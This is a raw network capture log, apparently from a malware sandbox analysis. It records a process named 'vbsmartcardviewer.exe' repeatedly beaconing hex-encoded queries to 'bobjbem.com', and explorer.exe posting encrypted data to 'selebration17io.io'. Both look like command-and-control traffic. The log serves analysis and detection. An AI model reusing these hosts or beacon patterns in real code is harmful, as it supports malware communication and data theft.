Feb 5, 2024 10:58:51.720598936 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49823	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:52.180716038 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:52.419018030 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49826	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:52.793282986 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:53.031419992 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49827	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:53.389161110 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:53.627079010 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49828	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:54.011657953 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:54.250056982 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49829	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:54.606467009 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:54.844238043 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49830	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:55.241224051 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:55.479566097 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49831	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:56.308228970 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:56.549055099 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49832	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:56.965809107 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:57.203924894 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49833	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:57.761454105 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:57.999790907 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49834	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:58.457473993 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:58.695436001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49835	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:58.801271915 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mthrbgruykfbimq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: selebration17io.io
Feb 5, 2024 10:58:58.801314116 CET	248	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 ab e3 28 d2 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO(c>9g8t<;z#2\6[.rXv&&)(42KEP[U1d/veG7Z-Ps$Ls;M>3J=6)/R
Feb 5, 2024 10:58:59.059881926 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:58:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49836	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:59.054294109 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:59.292469025 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49837	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:59.643726110 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:59.881943941 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49838	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:00.253988981 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:00.492290020 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49839	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:00.862371922 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:01.100682020 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49840	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:01.450170040 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:01.688900948 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49841	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:02.083369017 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:02.322390079 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49842	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:02.703567028 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:02.941704035 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49843	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:03.292135000 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:03.552598953 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 39 38 30 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 35 38 63 64 38 34 36 66 66 38 64 63 65 66 35 31 64 31 66 65 39 62 64 35 36 65 62 30 61 63 32 61 38 63 65 61 39 63 63 65 38 30 65 63 37 31 35 39 37 62 64 64 33 33 34 32 31 66 36 30 39 62 61 38 63 61 62 34 30 36 30 65 34 37 65 35 64 62 33 37 37 66 37 36 30 62 37 33 30 35 36 64 65 66 63 64 32 30 65 63 61 34 30 63 64 37 64 62 62 31 39 66 61 32 64 38 39 32 34 66 61 31 36 61 30 37 38 63 32 35 31 62 31 65 30 34 65 65 64 35 31 37 61 35 64 65 64 32 63 36 66 38 62 33 61 36 36 38 37 65 31 31 33 63 34 65 38 39 66 39 66 33 62 63 64 36 34 39 66 31 33 63 36 35 32 38 65 32 64 61 38 35 66 62 61 66 37 35 65 32 32 65 34 37 31 64 31 66 64 37 39 62 32 38 36 65 62 63 62 34 62 65 35 33 65 64 37 31 37 33 36 35 64 34 34 32 32 65 33 32 66 37 31 30 38 36 36 62 32 65 61 38 38 65 30 38 37 32 64 35 38 66 38 35 64 37 61 32 30 65 30 32 65 35 63 66 64 66 66 65 37 38 63 66 31 33 38 37 65 62 61 65 63 34 37 39 62 39 61 66 61 37 62 32 36 30 64 62 65 36 30 65 35 39 64 63 62 62 32 36 65 64 34 37 35 30 63 33 36 33 33 36 37 62 32 35 35 63 66 64 62 61 37 33 61 32 65 62 61 63 32 30 38 62 64 31 65 62 38 61 32 33 62 61 36 63 64 63 66 32 65 37 36 32 65 30 63 64 39 33 35 65 62 31 33 65 35 64 38 62 62 31 39 34 64 64 33 33 38 30 64 63 32 35 34 63 35 66 31 36 31 39 62 32 37 62 34 39 36 35 65 61 39 65 33 64 34 61 63 64 65 33 63 32 35 61 30 37 39 62 38 65 62 31 34 39 39 61 34 62 39 37 39 35 39 61 30 38 37 66 66 32 30 61 34 66 62 39 62 38 34 31 66 65 63 30 61 65 33 35 64 38 35 35 32 36 64 63 61 62 30 63 62 66 65 64 38 34 61 36 63 61 34 39 38 66 30 33 62 61 61 36 61 38 38 30 61 33 36 62 35 32 33 64 33 33 61 64 37 39 64 30 30 63 62 35 64 62 65 33 30 30 32 31 34 34 66 63 62 64 36 36 37 34 32 33 61 35 34 36 35 39 62 66 62 38 34 32 39 32 63 36 30 34 34 31 38 63 37 64 63 62 33 31 31 31 62 65 33 64 30 62 39 66 37 64 35 33 31 37 35 37 38 65 37 33 66 38 65 63 62 30 34 31 35 34 31 39 66 61 62 64 61 30 35 34 62 35 61 64 35 37 65 37 66 35 39 33 33 34 65 65 38 64 34 63 63 63 62 66 39 64 34 35 34 39 66 32 32 36 61 34 38 66 34 37 65 33 34 38 32 32 38 62 64 63 65 39 35 37 64 39 34 35 35 63 39 39 32 32 32 31 65 30 63 37 66 39 63 66 34 39 65 65 30 31 39 30 66 61 36 32 34 38 33 64 64 30 63 37 32 30 34 64 34 32 39 63 65 66 34 39 38 31 36 37 32 33 63 37 62 39 63 33 35 30 32 65 36 35 35 34 33 36 30 36 35 38 37 34 61 63 34 62 65 61 36 66 39 33 31 61 30 64 62 63 31 31 30 35 32 38 36 32 62 63 64 35 63 35 37 38 64 62 62 63 39 36 34 64 33 35 30 32 35 62 33 36 61 65 38 32 65 32 36 62 33 36 66 38 37 35 64 30 33 63 65 61 37 61 32 62 30 36 65 61 65 63 32 31 32 39 33 34 65 64 33 64 34 63 61 34 62 61 64 31 30 62 63 34 62 66 63 62 33 62 31 36 35 39 65 62 30 32 63 61 62 32 36 32 62 30 65 33 33 63 37 38 39 37 39 31 39 65 39 61 31 63 30 34 63 37 62 65 62 33 30 33 62 32 64 30 61 31 65 64 36 33 30 61 62 34 65 61 36 31 35 39 37 34 31 64 64 61 62 63 39 39 62 34 65 65 37 34 33 38 63 38 33 61 65 63 33 32 38 31 30 64 62 32 63 32 64 61 31 38 30 35 65 63 61 35 30 30 66 30 61 35 31 64 36 34 36 30 65 35 65 33 39 34 63 31 64 65 35 39 63 34 61 34 62 61 62 30 66 33 32 63 61 66 39 61 61 31 63 63 33 66 35 37 31 62 31 65 30 66 63 66 35 31 66 32 31 36 65 64 66 30 39 63 64 63 63 31 30 61 36 35 61 66 35 34 32 32 36 36 63 62 Data Ascii: 98067b68a8a3203a77b0418f55f67758cd846ff8dcef51d1fe9bd56eb0ac2a8cea9cce80ec71597bdd33421f609ba8cab4060e47e5db377f760b73056defcd20eca40cd7dbb19fa2d8924fa16a078c251b1e04eed517a5ded2c6f8b3a6687e113c4e89f9f3bcd649f13c6528e2da85fbaf75e22e471d1fd79b286ebcb4be53ed717365d4422e32f710866b2ea88e0872d58f85d7a20e02e5cfdffe78cf1387ebaec479b9afa7b260dbe60e59dcbb26ed4750c363367b255cfdba73a2ebac208bd1eb8a23ba6cdcf2e762e0cd935eb13e5d8bb194dd3380dc254c5f1619b27b4965ea9e3d4acde3c25a079b8eb1499a4b97959a087ff20a4fb9b841fec0ae35d85526dcab0cbfed84a6ca498f03baa6a880a36b523d33ad79d00cb5dbe3002144fcbd667423a54659bfb84292c604418c7dcb3111be3d0b9f7d5317578e73f8ecb0415419fabda054b5ad57e7f59334ee8d4cccbf9d4549f226a48f47e348228bdce957d9455c992221e0c7f9cf49ee0190fa62483dd0c7204d429cef49816723c7b9c3502e655436065874ac4bea6f931a0dbc11052862bcd5c578dbbc964d35025b36ae82e26b36f875d03cea7a2b06eaec212934ed3d4ca4bad10bc4bfcb3b1659eb02cab262b0e33c7897919e9a1c04c7beb303b2d0a1ed630ab4ea6159741ddabc99b4ee7438c83aec32810db2c2da1805eca500f0a51d6460e5e394c1de59c4a4bab0f32caf9aa1cc3f571b1e0fcf51f216edf09cdcc10a65af542266cb
Feb 5, 2024 10:59:03.552660942 CET	1286	IN	Data Raw: 30 64 61 34 32 62 61 38 34 30 65 30 30 33 31 66 34 63 36 33 31 63 31 63 33 39 66 64 36 64 30 62 31 37 64 38 39 64 63 32 62 32 39 33 61 30 65 32 34 61 31 37 64 32 33 66 31 62 66 66 34 61 63 62 66 33 34 31 63 64 35 62 64 63 64 39 63 35 35 65 64 66 Data Ascii: 0da42ba840e0031f4c631c1c39fd6d0b17d89dc2b293a0e24a17d23f1bff4acbf341cd5bdcd9c55edf2ba4c270eb84d46f7ba1c0fb293583af8b0d4c5fbc2abb3c554ac9ec4a851d3731748db75f2ee39ffff31afbfc507eb547899d331c1332f887c59a2fecaa339fb4fde9f85ca1e72826262b1160bd770c1
Feb 5, 2024 10:59:03.552696943 CET	63	IN	Data Raw: 31 30 64 32 66 38 38 34 64 65 34 34 38 64 64 36 62 63 63 31 62 33 61 34 32 34 31 66 61 34 61 33 38 31 30 33 35 65 37 62 62 33 36 39 62 63 35 34 33 37 31 63 33 65 64 64 32 36 31 31 36 0d 0a Data Ascii: 10d2f884de448dd6bcc1b3a4241fa4a381035e7bb369bc54371c3edd26116
Feb 5, 2024 10:59:03.552733898 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Feb 5, 2024 10:59:06.217966080 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
